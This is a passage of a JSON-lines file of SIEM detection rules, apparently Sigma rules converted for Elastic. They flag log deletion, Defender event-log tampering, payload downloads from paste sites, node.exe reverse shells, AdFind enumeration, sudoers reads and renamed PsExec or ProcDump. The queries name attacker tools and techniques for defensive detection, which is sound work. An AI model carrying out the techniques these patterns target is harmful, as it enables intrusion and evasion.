{"description": "Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Possible FP during log rotation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "76a1408c-8b5a-c22c-3f21-de6087fa4b5a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Exchange PowerShell Cmdlet History Deleted", "query": "(file.path.text:\\\\Logging\\\\CmdletInfra\\\\LocalPowerShell\\\\Cmdlet\\\\* AND file.path.text:*_Cmdlet_*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the deletion of WebServer access logs which may indicate an attempt to destroy forensic evidence", "author": ["Tim Rauch"], "enabled": false, "false_positives": ["During uninstallation of the IIS service", "During log rotation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d7c711d6-4a6d-77d8-70cd-26454dca9f62", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "WebServer Access Logs Deleted", "query": "(file.path.text:C\\:\\\\inetpub\\\\logs\\\\LogFiles\\\\* AND file.path.text:*.log)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections", "enabled": false, "false_positives": ["Other Antivirus software installations could cause Windows to disable that eventlog (unknown)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "068bcc90-d836-96cc-3293-0e7377109d91", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disabled Windows Defender Eventlog", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WINEVT\\\\Channels\\\\Microsoft\\-Windows\\-Windows\\ Defender\\/Operational\\\\Enabled* AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the doas tool execution in linux host platform.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ef3312ef-eb09-8287-a2a0-1289188776be", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Linux Doas Tool Execution", "query": "process.executable:*\\/doas", "meta": {"from": "1m"}, "severity": "low", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Sittikorn S", "Teoderick Contreras"], "license": ""}
{"description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1c64c06d-4721-a749-2220-aa413f41027b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious File Download from File Sharing Domain", "query": "(Contents:(*https\\:\\/\\/transfer.sh\\/* OR *raw.githubusercontent.com* OR *gist.githubusercontent.com* OR *pastebin.com* OR *cdn.discordapp.com\\/attachments\\/* OR *mediafire.com* OR *mega.nz* OR *ddns.net* OR *.paste.ee* OR *.hastebin.com* OR *.ghostbin.co\\/* OR *ufile.io* OR *storage.googleapis.com* OR *anonfiles.com* OR *send.exploit.in*) AND file.path.text:(*.exe\\:Zone* OR *.vbs\\:Zone* OR *.dll\\:Zone*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e64875ce-9c04-c8c6-904a-fa32a909de3b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Unusual File Download from File Sharing Domain", "query": "(Contents:(*transfer.sh* OR *raw.githubusercontent.com* OR *gist.githubusercontent.com* OR *pastebin.com* OR *cdn.discordapp.com\\/attachments\\/* OR *mediafire.com* OR *mega.nz* OR *ddns.net* OR *.paste.ee* OR *.hastebin.com* OR *.ghostbin.co\\/* OR *ufile.io* OR *storage.googleapis.com* OR *anonfiles.com* OR *send.exploit.in*) AND file.path.text:(*.ps1\\:Zone* OR *.bat\\:Zone*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the download of suspicious file type from URLs with IP", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "63931c67-f167-569c-ae0d-5bd6a5519201", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Unusual File Download from Direct IP Address", "query": "(Contents:(*\\:\\/\\/1* OR *\\:\\/\\/2* OR *\\:\\/\\/3* OR *\\:\\/\\/4* OR *\\:\\/\\/5* OR *\\:\\/\\/6* OR *\\:\\/\\/7* OR *\\:\\/\\/8* OR *\\:\\/\\/9*) AND file.path.text:(*.ps1\\:Zone* OR *.bat\\:Zone* OR *.exe\\:Zone* OR *.vbe\\:Zone* OR *.vbs\\:Zone* OR *.dll\\:Zone*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the enumeration of other remote systems.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "cd34de91-bcc4-e1fd-c434-2034f736d772", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Linux Remote System Discovery", "query": "((process.executable:*\\/arp AND process.command_line:*\\-a*) OR (process.executable:*\\/ping AND process.command_line:(*\\ 10.* OR *\\ 192.168.* OR *\\ 172.16.* OR *\\ 172.17.* OR *\\ 172.18.* OR *\\ 172.19.* OR *\\ 172.20.* OR *\\ 172.21.* OR *\\ 172.22.* OR *\\ 172.23.* OR *\\ 172.24.* OR *\\ 172.25.* OR *\\ 172.26.* OR *\\ 172.27.* OR *\\ 172.28.* OR *\\ 172.29.* OR *\\ 172.30.* OR *\\ 172.31.* OR *\\ 127.* OR *\\ 169.254.*)))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1018"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1018", "name": "Remote System Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects the enumeration of other remote systems.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c3cfaf21-569c-e426-6309-3d08ac391b0f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Macos Remote System Discovery", "query": "((process.executable:*\\/arp AND process.command_line:*\\-a*) OR (process.executable:*\\/ping AND process.command_line:(*\\ 10.* OR *\\ 192.168.* OR *\\ 172.16.* OR *\\ 172.17.* OR *\\ 172.18.* OR *\\ 172.19.* OR *\\ 172.20.* OR *\\ 172.21.* OR *\\ 172.22.* OR *\\ 172.23.* OR *\\ 172.24.* OR *\\ 172.25.* OR *\\ 172.26.* OR *\\ 172.27.* OR *\\ 172.28.* OR *\\ 172.29.* OR *\\ 172.30.* OR *\\ 172.31.* OR *\\ 127.* OR *\\ 169.254.*)))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1018"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1018", "name": "Remote System Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects the executiob of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe)", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c0f53ffd-db18-b31f-8d79-fa03bcd0a06a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of TTDInject.exe", "query": "(process.executable:*ttdinject.exe OR winlog.event_data.OriginalFileName:\"TTDInject.EXE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1127"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the execution node.exe which is shipped with multiple softwares such as VMware, Adobe...etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks...etc", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "950b9e62-c295-9d59-29ff-d72f47a546cd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Node.exe Process Abuse", "query": "(process.executable.text:*\\\\node.exe AND process.command_line.text:(*\\ \\-e\\ * OR *\\ \\-\\-eval\\ *) AND process.command_line.text:*.exec\\(* AND process.command_line.text:*net.socket* AND process.command_line.text:*.connect* AND process.command_line.text:*child_process*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1127"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the execution of a AdFind for Active Directory enumeration", "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f9fbb787-0807-288c-133f-e2ef7f5b4238", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious AdFind Execution", "query": "(process.command_line:(*objectcategory* OR *trustdmp* OR *dcmodes* OR *dclist* OR *computers_pwdnotreqd*) AND process.executable:*\\\\adfind.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1018", "T1069", "T1087", "T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1018", "name": "Remote System Discovery", "reference": ""}, {"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["FPT.EagleEye Team", "omkar72", "oscd.community"], "license": ""}
{"description": "Detects the execution of a AdFind for enumeration based on it's commadline flags", "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "871b57cb-d3ff-e824-69e3-c73bf41023c5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious AdFind Enumeration", "query": "(process.command_line.text:(*lockoutduration* OR *lockoutthreshold* OR *lockoutobservationwindow* OR *maxpwdage* OR *minpwdage* OR *minpwdlength* OR *pwdhistorylength* OR *pwdproperties*) OR process.command_line.text:*\\-sc\\ admincountdmp* OR process.command_line.text:*\\-sc\\ exchaddresses*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1087"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the execution of a AdFind for enumeration", "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "416109c0-56dd-9225-7dcc-fc8d10c1afcb", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious AdFind Enumerate", "query": "(process.executable:*\\\\adfind.exe AND (process.command_line:(*lockoutduration* OR *lockoutthreshold* OR *lockoutobservationwindow* OR *maxpwdage* OR *minpwdage* OR *minpwdlength* OR *pwdhistorylength* OR *pwdproperties*) OR process.command_line:*\\-sc\\ admincountdmp* OR process.command_line:*\\-sc\\ exchaddresses*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1087"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the execution of a cat /etc/sudoers to list all users that have sudo rights", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "81e8b514-2341-07be-c1e7-a97ddbf399ae", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Cat Sudoers", "query": "(process.executable.text:(*\\/cat OR *grep OR *\\/head OR *\\/tail OR *\\/more) AND process.command_line.text:*\\ \\/etc\\/sudoers*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1592"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0043", "reference": "", "name": "Reconnaissance"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1592", "name": "Gather Victim Host Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", "enabled": false, "false_positives": ["Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist", "PsExec installed via Windows Store doesn't contain original filename field (False negative)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1e957421-a5ae-c50f-f325-582b297c3000", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Renamed Binary", "query": "(winlog.event_data.OriginalFileName:(\"Cmd.Exe\" OR \"CONHOST.EXE\" OR \"PowerShell.EXE\" OR \"pwsh.dll\" OR \"powershell_ise.EXE\" OR \"psexec.exe\" OR \"psexec.c\" OR \"cscript.exe\" OR \"wscript.exe\" OR \"MSHTA.EXE\" OR \"REGSVR32.EXE\" OR \"wmic.exe\" OR \"CertUtil.exe\" OR \"RUNDLL32.EXE\" OR \"CMSTP.EXE\" OR \"msiexec.exe\" OR \"7z.exe\" OR \"WinRAR.exe\" OR \"wevtutil.exe\" OR \"net.exe\" OR \"net1.exe\" OR \"netsh.exe\" OR \"InstallUtil.exe\") AND (NOT (process.executable.text:(*\\\\cmd.exe OR *\\\\conhost.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\powershell_ise.exe OR *\\\\psexec.exe OR *\\\\psexec64.exe OR *\\\\cscript.exe OR *\\\\wscript.exe OR *\\\\mshta.exe OR *\\\\regsvr32.exe OR *\\\\WMIC.exe OR *\\\\certutil.exe OR *\\\\rundll32.exe OR *\\\\cmstp.exe OR *\\\\msiexec.exe OR *\\\\7z.exe OR *\\\\WinRAR.exe OR *\\\\wevtutil.exe OR *\\\\net.exe OR *\\\\net1.exe OR *\\\\netsh.exe OR *\\\\InstallUtil.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Matthew Green - @mgreen27", "Ecco", "James Pemberton / @4A616D6573", "oscd.community (improvements)", "Andreas Hunkeler (@Karneades)"], "license": ""}
{"description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", "enabled": false, "false_positives": ["Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9a746db0-c26f-4f91-d80e-a1fb2858b197", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Highly Relevant Renamed Binary", "query": "(winlog.event_data.OriginalFileName:(\"powershell.exe\" OR \"pwsh.dll\" OR \"powershell_ise.exe\" OR \"psexec.exe\" OR \"psexec.c\" OR \"cscript.exe\" OR \"wscript.exe\" OR \"mshta.exe\" OR \"regsvr32.exe\" OR \"wmic.exe\" OR \"certutil.exe\" OR \"rundll32.exe\" OR \"cmstp.exe\" OR \"msiexec.exe\") AND (NOT (process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\powershell_ise.exe OR *\\\\psexec.exe OR *\\\\psexec64.exe OR *\\\\cscript.exe OR *\\\\wscript.exe OR *\\\\mshta.exe OR *\\\\regsvr32.exe OR *\\\\wmic.exe OR *\\\\certutil.exe OR *\\\\rundll32.exe OR *\\\\cmstp.exe OR *\\\\msiexec.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Matthew Green - @mgreen27", "Florian Roth"], "license": ""}
{"description": "Detects the execution of a renamed meg.exe of MegaSync during incident response engagements associated with ransomware families like Nefilim, Sodinokibi, Pysa, and Conti.", "enabled": false, "false_positives": ["Software that illegaly integrates MegaSync in a renamed form", "Administrators that have renamed MegaSync"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2cb510ea-f1d0-cae8-0d82-6c8e339512df", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Renamed MegaSync", "query": "((process.parent.executable.text:*\\\\explorer.exe AND process.command_line.text:*C\\:\\\\Windows\\\\Temp\\\\meg.exe*) OR (winlog.event_data.OriginalFileName:\"meg.exe\" AND (NOT (process.executable.text:*\\\\meg.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sittikorn S"], "license": ""}
{"description": "Detects the execution of a renamed office binaries", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3c5fca88-94fc-4208-53eb-c27b533d9e6d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Renamed Office Binary Execution", "query": "(((winlog.event_data.OriginalFileName:(\"Excel.exe\" OR \"MSACCESS.EXE\" OR \"OneNote.exe\" OR \"POWERPNT.EXE\" OR \"WinWord.exe\")) OR (winlog.event_data.Description:(\"Microsoft Access\" OR \"Microsoft Excel\" OR \"Microsoft OneNote\" OR \"Microsoft PowerPoint\" OR \"Microsoft Word\"))) AND (NOT (process.executable.text:(*\\\\EXCEL.exe OR *\\\\MSACCESS.exe OR *\\\\ONENOTE.EXE OR *\\\\POWERPNT.EXE OR *\\\\WINWORD.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the execution of a renamed PowerShell often used by attackers or malware", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e1d8824e-7bc2-694e-a293-b7ae5f788747", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Renamed PowerShell", "query": "((winlog.event_data.Description:(Windows\\ PowerShell* OR pwsh*) AND Company:\"Microsoft\\ Corporation\") AND (NOT (process.executable:(*\\\\powershell.exe OR *\\\\powershell_ise.exe OR *\\\\pwsh.exe))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "frack113"], "license": ""}
{"description": "Detects the execution of a renamed ProcDump executable often used by attackers or malware", "enabled": false, "false_positives": ["Procdump illegaly bundled with legitimate software", "Weird admins who renamed binaries (and should be investigated)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "18b6e079-765c-5cc2-bfe7-8f4e279e9c8b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Renamed ProcDump", "query": "((winlog.event_data.OriginalFileName:\"procdump\" OR (process.command_line.text:(*\\ \\-ma\\ * OR *\\ \\/ma\\ *) AND process.command_line.text:(*\\ \\-accepteula\\ * OR *\\ \\/accepteula\\ *))) AND (NOT (process.executable.text:(*\\\\procdump.exe OR *\\\\procdump64.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of a renamed PsExec often used by attackers or malware", "enabled": false, "false_positives": ["Software that illegaly integrates PsExec in a renamed form", "Administrators that have renamed PsExec and no one knows why"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "66cc4b9c-cdf3-e38b-174d-24e0cb426335", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Renamed PsExec", "query": "((winlog.event_data.Description:\"Execute\\ processes\\ remotely\" AND Product:\"Sysinternals\\ PsExec\") AND (NOT (process.executable:(*\\\\PsExec.exe OR *\\\\PsExec64.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ff016177-a300-428f-a947-5c73b0f74db4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Kavremover Dropped Binary LOLBIN Usage", "query": "(process.command_line.text:*\\ run\\ run\\-cmd\\ * AND (NOT (process.parent.executable.text:(*\\\\kavremover.exe OR *\\\\cleanapi.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1127"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the execution of AdvancedRun utitlity in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fa00b701-44c6-4679-994d-5a18afa8a707", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious AdvancedRun Runas Priv User", "query": "(process.command_line:(*\\/EXEFilename* OR *\\/CommandLine*) AND (process.command_line:(*\\ \\/RunAs\\ 8\\ * OR *\\ \\/RunAs\\ 4\\ * OR *\\ \\/RunAs\\ 10\\ * OR *\\ \\/RunAs\\ 11\\ *) OR process.command_line:(*\\/RunAs\\ 8 OR *\\/RunAs\\ 4 OR *\\/RunAs\\ 10 OR *\\/RunAs\\ 11)))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of AdvancedRun utitlity", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "52b598d7-b920-3c50-e7ec-7b35a83235f6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious AdvancedRun Execution", "query": "(winlog.event_data.OriginalFileName:\"AdvancedRun.exe\" OR (process.command_line:*\\ \\/EXEFilename\\ * AND process.command_line:*\\ \\/Run*) OR (process.command_line:*\\ \\/WindowState\\ 0* AND process.command_line:*\\ \\/RunAs\\ * AND process.command_line:*\\ \\/CommandLine\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the execution of an executable that is typically used by PlugX for DLL side loading started from an uncommon location", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "64fe788d-ca6b-7a3c-f932-d1ab69ecbad1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Executable Used by PlugX in Uncommon Location", "query": "((((((((((((process.executable:*\\\\CamMute.exe AND (NOT (process.executable:(*\\\\Lenovo\\\\Communication\\ Utility\\\\* OR *\\\\Lenovo\\\\Communications\\ Utility\\\\*)))) OR (process.executable:*\\\\chrome_frame_helper.exe AND (NOT (process.executable:*\\\\Google\\\\Chrome\\\\application\\\\*)))) OR (process.executable:*\\\\dvcemumanager.exe AND (NOT (process.executable:*\\\\Microsoft\\ Device\\ Emulator\\\\*)))) OR (process.executable:*\\\\Gadget.exe AND (NOT (process.executable:*\\\\Windows\\ Media\\ Player\\\\*)))) OR (process.executable:*\\\\hcc.exe AND (NOT 